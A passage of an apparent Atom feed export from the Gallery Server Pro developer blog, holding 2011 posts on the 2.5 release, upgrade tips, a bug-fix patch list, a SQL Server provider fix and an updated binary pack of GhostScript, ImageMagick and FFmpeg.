src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6403325878328046693?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6403325878328046693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6403325878328046693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6403325878328046693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6403325878328046693'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/08/patch-updated-for-dotnetnuke-6-bug.html' title='Patch updated for DotNetNuke 6 bug'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-GN5m-PiprqE/TjddvzLAzLI/AAAAAAAAATI/we-iX80Fn_8/s72-c/wlEmoticon-smile%25255B2%25255D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3838994600686721529</id><published>2011-06-23T20:20:00.001-05:00</published><updated>2011-06-23T21:42:58.691-05:00</updated><title type='text'>Gallery Server Pro Binary Pack Updated</title><content type='html'>&lt;p&gt;The Gallery Server Pro Binary Pack adds additional functionality to your gallery, such as thumbnail extraction from videos, TXT, PDF, EPS, and PSD (Photoshop) files. The pack consists of three open source components – GhostScript, ImageMagick, and FFmpeg. They are free and easy to install. The only requirement is that your site must be running in full trust to take advantage of them.&lt;/p&gt;  &lt;p&gt;Today I updated the pack to include the latest version of each utility (GhostScript 9.02, ImageMagick 6.70, FFmpeg 0.8). &lt;a title="Download the Gallery Server Pro Binary Pack" href="http://www.galleryserverpro.com/download.aspx"&gt;Download it here&lt;/a&gt;. To update your existing components, copy the contents of the bin directory in the download to your bin directory, then run the GhostScript setup program. I don’t know if you need to uninstall the previous version of GhostScript first – as a safety precaution you may want to.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3838994600686721529?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3838994600686721529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3838994600686721529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3838994600686721529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3838994600686721529'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/gallery-server-pro-binary-pack-updated.html' title='Gallery Server Pro Binary Pack Updated'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4446006692065109773</id><published>2011-06-23T15:17:00.001-05:00</published><updated>2011-07-12T13:39:10.253-05:00</updated><title type='text'>Tips for upgrading to Gallery Server Pro 2.5</title><content type='html'>&lt;p&gt;Since releasing 2.5.0 a couple weeks ago, I am pleased the upgrade is going smoothly for the vast majority of you. However, a few support issues seem to be repeating themselves, so I wanted to throw out some tips to help it go smoothly.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Back up before upgrading&lt;/strong&gt; – Make a backup of your database and web files before the upgrade. That way, in case anything goes wrong, you have something to revert to.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;.NET 4.0 required&lt;/strong&gt; – Version 2.5 requires .NET 4.0, so be sure it is available. I recommend getting your 2.3 or 2.4 gallery running on .NET 4.0 before upgrading to 2.5. The Admin Guide has all the details – read it carefully.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQLite to SQL CE migration errors&lt;/strong&gt; – There have been two users who reported issues in the upgrade step that migrates data from the SQLite database to the SQL CE database. In one case, data in the Comment column of one of the aspnet_Users records had to be deleted before the upgrade would succeed (it was actually quite mysterious because the data didn’t *look* corrupt). In the other case, there were two records in the aspnet_Roles table that referred to an application that didn’t exist in the aspnet_Applications table. Since SQL CE enforces referential integrity – and SQLite does not – this caused the migration to fail. The fix was to delete the two records from SQLite and run the upgrade again.&lt;/p&gt;  &lt;p&gt;In other words, you might have to clean up the SQLite data a bit to make it “fit” in SQL CE. If you have trouble, read the error message carefully for clues, then use a tool like &lt;a href="http://sqliteadmin.orbmu2k.de/"&gt;SQLite Administrator&lt;/a&gt; to find and fix it. If you really, really get stuck, send it to me (roger*at*techinfosystems*dot*com) and I can take a look (make sure you provide details with as much info about the error as possible).&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;jQuery 1.6 or higher required&lt;/strong&gt; – In early May, jQuery released 1.6, which broke backward compatibility with earlier versions. At the time, the &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=jQuery-1.6-introduces-breaking-change&amp;amp;id=6514088049023019140"&gt;workaround&lt;/a&gt; was to temporarily change your jQuery version to a pre-1.6 version. Gallery Server Pro 2.5 fixes the issues by using the new jQuery 1.6 prop() function (instead of attr()). Of course, this means 2.5 isn’t compatible with jQuery 1.5 and earlier. If you try to use jQuery 1.5 in GSP 2.5, the two main issues you’ll notice are broken next/previous media browsing and broken UI functionality in several of the site admin pages.&lt;/p&gt;  &lt;p&gt;This means that after you upgrade your gallery, one of your first steps is to make sure you are referencing jQuery 1.6 or higher (on the site settings page). I recommend using the value “//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js”, which will use the most recent 1.* release available.&lt;/p&gt;  &lt;p&gt;If for some reason you must use jQuery 1.5, you can revert to the old behavior by replacing all instances of “.prop(“ with “.attr(“. That needs to be done in these files: gs\pages\admin\gallerycontrolsettings.ascx, gs\pages\admin\metadata.ascx, gs\pages\admin\usersettings.ascx, gs\script\mediaobjectview.js, and gs\pages\admin\manageroles.ascx.cs. Note that the last file (manageroles.ascx.cs) is a code file and is only found in the source code version. Once you update it, you will need to compile it and deploy a new GalleryServerPro.Web.dll to your bin directory (the assembly is named TechInfoSystems.GalleryServerPro.dll in the DotNetNuke module).&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;DotNetNuke users&lt;/strong&gt; – This jQuery gotcha is especially important for you, since most installations of DNN are using a pre-1.6 version of jQuery. Probably the easiest way to update your site to the latest version of jQuery is to select the “Use hosted jQuery version” checkbox in the Advanced Settings/jQuery section of the Host Settings page. This will automatically use the latest 1.* release of jQuery available, assuming the hosted jQuery URL settings is still at its default value of “//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js”.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQL CE editor&lt;/strong&gt; – With SQL CE 4 just being released, there really isn’t an excellent, simple, and free tool available to let you see and edit the data directly in the database. I expect that to change in the coming months as SQL CE picks up speed. For now, there are a few options, and I describe them in the Admin Guide. Look for the section Management Tools for SQLite, SQL CE and SQL Server.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Apply the patches&lt;/strong&gt; – A &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Patch-For-2.5.0-Released&amp;amp;id=7496505908447239590"&gt;patch is available&lt;/a&gt; that fixes a few bugs in the 2.5.0 release.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Be on the lookout for new errors when extracting metadata&lt;/strong&gt; – Version 2.5 incorporates the WPF-based metadata extraction technique directly in the business layer, whereas earlier versions were invoked via reflection in a separate DLL (this provided enhanced metadata for users running .NET 3/3.5 while still working on servers running only .NET 2.0). The reflection-based technique had a side benefit in that all errors were wrapped in a special exception that GSP chose to ignore (after first logging it), preventing files with metadata corruption from causing any visible trouble.&lt;/p&gt;  &lt;p&gt;Version 2.5 directly calls the metadata extraction code, so any errors that aren’t caught cause the file upload or synchronization to fail. Microsoft recommends against using global exception handlers to silently catch all errors, so what I need to do is add little catch blocks that catch each type of exception that may occur. However, I have no idea what those are until you tell me. That &lt;a href="http://forum.galleryserverpro.com/yaf_postst1663_synchronize-of-all-albums-fails-with-HTTP-500---GSP-2-5.aspx"&gt;has&lt;/a&gt; &lt;a href="http://forum.galleryserverpro.com/yaf_postst1661_Install-on-SBS-2003---quite-the-process.aspx"&gt;happened&lt;/a&gt; &lt;strike&gt;twice&lt;/strike&gt; a few times now, and I’ve updated the patch accordingly.&lt;/p&gt;  &lt;p&gt;If you didn’t understand that techno-speak – what I am saying is this: If you get an error while syncing or uploading files, post a thread in the forum with all the details (look in GSP’s error log if necessary). I can’t fix what I don’t know about.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Deleted DLLs&lt;/strong&gt; – One of the nice things about 2.5 is that it no longer needs several DLLs, so it deletes them during the upgrade:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;AjaxControlToolkit.dll &lt;/li&gt;    &lt;li&gt;System.Data.SQLite.DLL &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.EnterpriseLibrary.Caching.dll &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.EnterpriseLibrary.Common.dll &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.ObjectBuilder.dll &lt;/li&gt;    &lt;li&gt;GalleryServerPro.Business.Wpf.dll &lt;/li&gt;    &lt;li&gt;GalleryServerPro.Data.SQLite.dll &lt;/li&gt;    &lt;li&gt;TechInfoSystems.TracingTools.dll &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Obviously, if you are using GSP in a site that requires one or more of these assemblies, be sure to save a copy and then restore them when the upgrade is complete. I imagine the most likely DLL you need to preserve is AjaxControlToolkit.dll.&lt;/p&gt;  &lt;p&gt;Note: The DNN upgrade won’t delete any DLL’s, so you don’t have to worry whether another module might need one of these assemblies.&lt;/p&gt;  &lt;p&gt;Also, the ugprade wizard might find that it can’t delete one or more DLLs it wants to. In my experience, this is most likely System.Data.SQLite.DLL. If you discover this file still exists in your bin directory after the upgrade, you may delete it.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4446006692065109773?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4446006692065109773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4446006692065109773' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4446006692065109773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4446006692065109773'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/tips-for-upgrading-to-gallery-server.html' title='Tips for upgrading to Gallery Server Pro 2.5'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-7496505908447239590</id><published>2011-06-21T15:33:00.001-05:00</published><updated>2011-08-05T09:16:20.904-05:00</updated><title type='text'>Patch For 2.5.0 Released</title><content type='html'>&lt;p&gt;&lt;font color="#800000"&gt;Edit: 2011-06-23 – added fixes for two new issues.      &lt;br /&gt;&lt;/font&gt;&lt;font color="#800000"&gt;Edit: 2011-06-28 – added fixes for two more issues.      &lt;br /&gt;&lt;/font&gt;&lt;font color="#800000"&gt;Edit: 2011-07-12 – added fixes for four more issues.      &lt;br /&gt;&lt;font color="#800000"&gt;Edit: 2011-08-01 – added fix for one issue.       &lt;br /&gt;&lt;font color="#800000"&gt;Edit: 2011-08-05 – added fix for one issue.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Today I released a patch for 2.5.0 to fix a few bugs that came to light after its release. The patch includes fixes for all three variants of Gallery Server Pro – the stand-alone version, the WPI version, and the DotNetNuke module.&lt;/p&gt;  &lt;p&gt;To apply the patch, first make sure your site is running 2.5.0. Then download the patch and navigate to the folder that pertains to your flavor of GSP (stand-alone, WPI, or DNN). Copy the DLLs it contains to your bin directory. That is it – you do not have to restart IIS or go through an upgrade wizard.&lt;/p&gt;  &lt;p&gt;&lt;a title="Gallery Server Pro 2.5.0 Patch" href="http://www.galleryserverpro.com/download/GalleryServerPro_V2_5_0_Patches.zip"&gt;Download the patch here&lt;/a&gt;. Here is what is fixed:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Viewing error log generates &amp;quot;String was not recognized as a valid DateTime&amp;quot; error – This may happen when the server has a non-US culture. &lt;/li&gt;    &lt;li&gt;An ArgumentNullException may be thrown during an auto-sync – I believe this happens only when one or more of your images contain GPS data. &lt;/li&gt;    &lt;li&gt;(DotNetNuke only) Error when anonymous browsing is disabled for a gallery and an anonymous user attempts to view it &lt;/li&gt;    &lt;li&gt;(added June 23) Error &amp;quot;Property cannot be found&amp;quot; when adding or syncing an image &lt;/li&gt;    &lt;li&gt;(added June 23) Error &amp;quot;Object must be initialized before operation can be performed&amp;quot; when adding or syncing an image &lt;/li&gt;    &lt;li&gt;(added June 28) Error &amp;quot;Unexpected property type or value&amp;quot; when adding or syncing an image &lt;/li&gt;    &lt;li&gt;(added June 28) ArgumentException or InvalidOperationException when adding or syncing an image &lt;/li&gt;    &lt;li&gt;(added July 12) Error FileNotFoundException occurs during a synchronization &lt;/li&gt;    &lt;li&gt;(added July 12) Error OverflowException when adding or syncing an image &lt;/li&gt;    &lt;li&gt;(added July 12) User given incorrect confirmation message after rotating images &lt;/li&gt;    &lt;li&gt;(added July 12) Wrong MIME type may be sent to browser for some media objects &lt;/li&gt;    &lt;li&gt;(added August 1) Nothing happens when you click the Browse button on the Add objects page when using IE 9 in DotNetNuke 6.0. &lt;/li&gt;    &lt;li&gt;(added August 5) A timeout error in FFmpeg interrupts synchronization&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;These fixes will be included in the next official release.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-7496505908447239590?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/7496505908447239590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=7496505908447239590' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7496505908447239590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7496505908447239590'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/patch-for-250-released.html' title='Patch For 2.5.0 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6698739053048775214</id><published>2011-06-17T16:55:00.001-05:00</published><updated>2011-06-17T18:10:13.058-05:00</updated><title type='text'>Fix for SQL Server users</title><content type='html'>&lt;p&gt;Today I identified a bug in the SQL Server provider where it does not correctly handle roles that have been assigned to multiple albums. The package downloads have been updated, so if you downloaded 2.5.0 before today, grab the latest GalleryServerPro.Data.SqlServer.dll from the install or upgrade package and replace your version.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6698739053048775214?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6698739053048775214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6698739053048775214' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6698739053048775214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6698739053048775214'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/hot-fix-for-sql-server-users.html' title='Fix for SQL Server users'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8031288049768767651</id><published>2011-06-14T22:07:00.001-05:00</published><updated>2011-06-21T16:48:12.790-05:00</updated><title type='text'>Gallery Server Pro 2.5 Released</title><content type='html'>&lt;p&gt;Today I released Gallery Server Pro 2.5.0, featuring new support for Microsoft SQL Server Compact 4.0 (SQL CE), an improved upgrade experience, faster SQL Server performance, and numerous bug fixes. The compiled and source code versions &lt;a title="Download Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;are available for immediate download&lt;/a&gt;. The Web Platform Installer version has been submitted to Microsoft and should be approved within a few days. The DotNetNuke Module will be available in a few days as well.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Upgrading the gallery&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The upgrade wizard has been revamped to make it even easier to upgrade your gallery. If you are currently using version 2.4 under .NET 4.0, all you have to do is copy the files from the upgrade package over your existing installation and then browse to the gallery. The upgrade wizard automatically appears and guides you through the process. If you are running an earlier version of .NET or are upgrading version 2.0 – 2.3, there are a couple more steps which are described in the &lt;a title="Download the Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;The upgrade wizard automatically removes the cachingConfiguration section in web.config, which is no longer needed. (Caching is now done with the .NET 4.0 MemoryCache class.) It also deletes these DLLs from the bin directory:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;AjaxControlToolkit.dll &lt;/li&gt;    &lt;li&gt;System.Data.SQLite.DLL &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.EnterpriseLibrary.Caching.dll &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.EnterpriseLibrary.Common.dll &lt;/li&gt;    &lt;li&gt;Microsoft.Practices.ObjectBuilder.dll &lt;/li&gt;    &lt;li&gt;GalleryServerPro.Business.Wpf.dll &lt;/li&gt;    &lt;li&gt;GalleryServerPro.Data.SQLite.dll &lt;/li&gt;    &lt;li&gt;TechInfoSystems.TracingTools.dll &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;If you integrated the gallery into an existing site that requires one or more of these assemblies, be sure to save a copy and then restore them when the upgrade is complete. Similarly, if your site uses the caching functionality from the Microsoft Enterprise library, you will need to restore the cachingConfiguration section in web.config.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;New SQL CE data provider&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Earlier this year Microsoft released Microsoft SQL Server Compact 4.0. Prior to this release, it could not be used in ASP.NET applications. Microsoft spent a lot of effort making it work in a multi threaded environment like ASP.NET, and it now offers all of the benefits SQLite provided – such as XCOPY deployment and no external dependencies - while offering a few significant bonuses:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;A single package for 32-bit and 64-bit operating systems&lt;/strong&gt; – SQLite had a dependence on System.Data.SQLite.dll, which came in 32-bit and 64-bit flavors, necessitating a download package for each type of OS. While SQL CE also must be distributed with 32-bit and 64-bit versions of its engine, Microsoft figured out a way to have both of them deployed in the bin directory so we don’t have to worry about it. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Works in medium trust&lt;/strong&gt; – SQLite only worked in full trust, forcing users in reduced trust environments to use SQL Server, which is more difficult to set up and maintain and not supported by some hosts. And when it is supported, it is often an extra cost option. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Increased data integrity&lt;/strong&gt; – SQLite did not do type checking to verify, for example, that an integer is really being stored in the AlbumId column, nor did it enforce referential integrity. SQL CE does both. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Officially supported by Microsoft&lt;/strong&gt; – SQLite has a robust user community, but the release of SQL CE pretty much eliminates any compelling reason to use SQLite. I expect that interest in maintaining the &lt;a title="System.Data.SQLite - An open source ADO.NET provider for the SQLite database engine" href="http://sqlite.phxsoftware.com/"&gt;SQLite ADO.NET provider&lt;/a&gt; will shrivel up. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Gallery Server Pro uses Entity Framework 4.1 Code First and LINQ to communicate with the database. This technique allowed me to crank out the provider in a fraction of the time it took me to write all that ADO.NET code used in the SQLite and SQL Server providers.&lt;/p&gt;  &lt;p&gt;One of the biggest benefits is that I was able to update the &lt;a title="Gallery Server Pro in the Microsoft Web Application Gallery" href="http://www.microsoft.com/web/gallery/galleryserverpro.aspx"&gt;Web Platform installer version of Gallery Server Pro&lt;/a&gt; to use SQL CE instead of SQL Server. By switching to SQL CE, the installation process became much simpler because it no longer has to install SQL Server. I know a lot of users tried to install GSP through the gallery but got hung up with a SQL Server issue, usually something to do with logon credentials or not finding the database server. Those problems all disappear.&lt;/p&gt;  &lt;p&gt;SQL Server is still fully supported. If you prefer to use it, be sure to download the &lt;a title="Download Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;install package&lt;/a&gt; instead of using the WPI.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Where is SQLite?&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;SQLite is no longer supported in 2.5 as I could not justify the effort in maintaining the provider. During the upgrade process, your SQLite data is imported to a SQL CE database file named GalleryServerPro_Data.sdf in the App_data directory. When the upgrade is complete, the old SQLite file at App_Data\galleryserverpro_data.sqlite is no longer used and can be deleted or archived.&lt;/p&gt;  &lt;p&gt;If you were using SQL Server, you will continue to use SQL Server in 2.5.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;.NET 4.0 requirement&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Moving to SQL CE and EF Code First required changing the system requirements to .NET 4.0. This move brought a lot of side benefits:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Ability to use native .NET 4.0 caching instead of the Microsoft Enterprise Library, allowing us to get rid of the cachingConfiguration section in web.config and the three DLLs it required. &lt;/li&gt;    &lt;li&gt;Use of LINQ. This simplifies certain kinds of coding patterns. &lt;/li&gt;    &lt;li&gt;Elimination of multiple web.config files. Previous versions of GSP shipped with six – count ‘em – SIX versions of web.config for use in various .NET environments and trust levels. &lt;/li&gt;    &lt;li&gt;Elimination of separate WPF assembly. I was able to integrate the WPF functionality – used for enhanced metadata extraction – into the business layer. &lt;/li&gt;    &lt;li&gt;Reduced test matrix. Testing the code base on multiple .NET environments was time consuming. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Faster SQL Server performance&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;As I was refactoring the code to use the Entity Framework, I noticed opportunities for improving the performance of several areas. These improvements affected both data providers, but are especially noticeable when using SQL Server. The greatest improvements are in galleries having thousands of users or tens of thousands of media objects. This was achieved in three main ways:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Re-architecture of the maintenance algorithm that runs during each application restart. &lt;/li&gt;    &lt;li&gt;Improving the algorithm that maps user roles to albums. &lt;/li&gt;    &lt;li&gt;Using ordinal positions when retrieving data from a data reader. For example, using &lt;font color="#800000"&gt;dr.GetInt32(0)&lt;/font&gt; instead of &lt;font color="#800000"&gt;Int32.Parse(dr[&amp;quot;AlbumID&amp;quot;].ToString(), CultureInfo.InvariantCulture&lt;/font&gt;). &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;jQuery 1.6 compatibility&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#000000"&gt;When jQuery 1.6 was released on May 3, it introduced a breaking change that affected a few of the pages in the site admin area. At the time, I &lt;a title="jQuery 1.6 introduces breaking change" href="http://www.galleryserverpro.com/blog.aspx?title=jQuery-1.6-introduces-breaking-change&amp;amp;id=6514088049023019140"&gt;blogged&lt;/a&gt; about a workaround where you tell GSP to use the older version of jQuery. The new version of GSP fixes those issues, so after the upgrade you can point jQuery back to the original value “&lt;a href="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"&gt;//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js&lt;/a&gt;”. Do this on the Site Settings – General page.&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;In fact, you &lt;strong&gt;have&lt;/strong&gt; to do this, since the fix requires jQuery 1.6. Specifically, GSP uses the new prop() function. If you don’t point to the latest version of jQuery, you may discover problems in a few areas, such as the inability to navigate media objects using the Next and Previous buttons.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Code analysis&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#000000"&gt;The code analysis feature of Visual Studio 2010 was used to implement coding best practices. I had run this a couple years ago but much of the code has changed and it was time to do it again. Nothing serious was found but I did make hundreds of changes. Most changes fell into these categories:&lt;/font&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Perform parameter validation at function entry points and throw an ArgumentException and ArgumentNullException as appropriate. &lt;/li&gt;    &lt;li&gt;Include an IFormatProvider when processing strings and numbers. &lt;/li&gt;    &lt;li&gt;Ensure Dispose() is called on all disposable objects. I was already doing that on most but I had missed a few. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Elimination of Ajax Control Toolkit&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;GSP has used the Ajax Control Toolkit to provide a few impressive UI effects, such as fading when navigating between media objects and creating interactive HTML DOM elements. However, the industry has recognized that jQuery is a better option and has largely abandoned the toolkit. Furthermore, versioning issues have always been a hassle. GSP now uses jQuery for effects previously handled by the toolkit.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#800000"&gt;Fixed bugs (&lt;a title="Gallery Server Pro 2.5.0 Fixed Defect Report" href="http://www.galleryserverpro.com/support/DefectsFixed_v2_5_0.pdf"&gt;detailed report&lt;/a&gt;)&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Watermark image is locked by IIS process &lt;/li&gt;    &lt;li&gt;Watermarked image sometimes fails to be rendered &lt;/li&gt;    &lt;li&gt;Thumbnail image not generated for PDF files&lt;/li&gt;    &lt;li&gt;Paging doesn't work on search results page &lt;/li&gt;    &lt;li&gt;Deleting the root album results in &amp;quot;Album not found&amp;quot; message &lt;/li&gt;    &lt;li&gt;Incompatibility with jQuery 1.6.0 &lt;/li&gt;    &lt;li&gt;Blank page may appear when error occurs &lt;/li&gt;    &lt;li&gt;(SQL Server) Delete unnecessary foreign key from gs_Album table &lt;/li&gt;    &lt;li&gt;(Sql Server) Length of MIME type columns different between gs_BrowserTemplate      &lt;br /&gt;and gs_MimeType &lt;/li&gt;    &lt;li&gt;(DotNetNuke) Album treeview navigation doesn't work when user-friendly URLs are      &lt;br /&gt;disabled &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8031288049768767651?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8031288049768767651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8031288049768767651' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8031288049768767651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8031288049768767651'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/06/gallery-server-pro-25-released.html' title='Gallery Server Pro 2.5 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5560011522205333785</id><published>2011-06-14T09:33:00.001-05:00</published><updated>2011-06-14T16:52:14.588-05:00</updated><title type='text'>Upgrading your gallery to .NET 4.0</title><content 